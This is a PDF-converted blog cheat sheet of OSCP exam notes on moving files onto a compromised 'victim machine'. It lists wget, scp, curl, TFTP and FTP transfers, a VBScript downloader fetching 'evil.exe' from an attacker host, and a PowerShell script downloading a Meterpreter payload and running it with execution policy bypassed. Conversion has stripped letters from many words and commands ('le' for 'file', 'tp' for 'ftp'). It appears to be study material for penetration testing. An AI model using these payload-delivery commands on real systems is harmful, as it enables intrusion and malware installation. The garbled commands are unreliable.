MENU
SECURISM
All about Information Security
OSCP NOTES – FILE TRANSFERS
LINUX FILE TRANSFERS
http://aruljohn.com/info/ letransfer/
wget
wget <URL> -P <local path>
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
scp
scp <source le> <username>@192.168.xx.xx:/home/<username>/
ssh
ssh HOST cat < LOCALFILE “>” REMOTEFILE
curl
curl -o taglist.zip <Any URL>
curl -O <URL with le name>
tp
s tp
nc
WINDOWS FILE TRANSFERS
TIP: In a gained shell, le transfer commands must be non-interactive
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
TFTP
In Kali, create /t tpboot/ directory speci cally only for TFTP daemon service
Setup TFTP on Attacker Machine
at tpd –daemon –port 69 <directory>
service at tpd start
cp < le> /t tpboot/
Command on victim machine
t tp -i <ip address of attacker> GET < le name>
FTP
Setup FTP server on attacker machine
apt-get install pure- tpd
setup- tp
username: o fsec, pswd: lab
Commands on victim machine : Write set of commands in a text le
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
echo open 192.168.10.5 21> tp.txt
echo USER o fsec>> tp.txt
echo tp>> tp.txt
echo bin >> tp.txt
echo GET nc.exe >> tp.txt
echo bye >> tp.txt
tp –v -n -s: tp.txt
VBSCRIPT
Setup HTTP web server on attacker machine
cp < les> /var/www/
service apache2 start
Commands on victim machine : Write set of commands in text le
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBu fer, lngCounter, fs, ts >> wget.vbs
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“Microso t.XMLHTTP”) >> wget.vbs
echo http.Open “GET”, strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = “” >> wget.vbs
echo strBu fer = “” >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
Run wget.vbs at victim machine
cscript wget.vbs http://192.168.xx.xx/evil.exe evil.exe
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
POWERSHELL
On victim machine, write set of commands in a ps1 le
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = “http://10.xx.xx.xx:8000/Meterpreter_windows_4444.exe” >>wget.ps1
echo $ le = “new-exploit.exe” >>wget.ps1
echo $webclient.DownloadFile($url,$ le) >>wget.ps1
Run wget.ps1 on victim machine
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoPro le -File wget.ps1
DEBUG.EXE
1. Optimize the exe to be transferred
upx -9 <exe le>
2. Verify if the exe is still running ne
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
wine <exe le>
3. Convert exe to text le
wine exe2bat.exe <exe le> <txt le>
Text le will be generated, simply copy and paste the text le contents to the shell.
Advertisements
REPORT THIS AD
SHARE THIS:
Twitter Facebook
Like
Be the first to like this
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Be the first to like this.
Search …
PAGES
Contact
OSCP Notes – Bu fer Over low
OSCP Notes – Exploitation
OSCP Notes – File Transfers
OSCP Notes – Information Gathering
OSCP Notes – Meterpreter
OSCP Notes – Password Attacks
OSCP Notes – Port Forwarding
OSCP Notes – Port Scanning
OSCP Notes – Privilege Escalation (Linux)
OSCP Notes – Privilege Escalation (Windows)
OSCP Notes – Shells
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD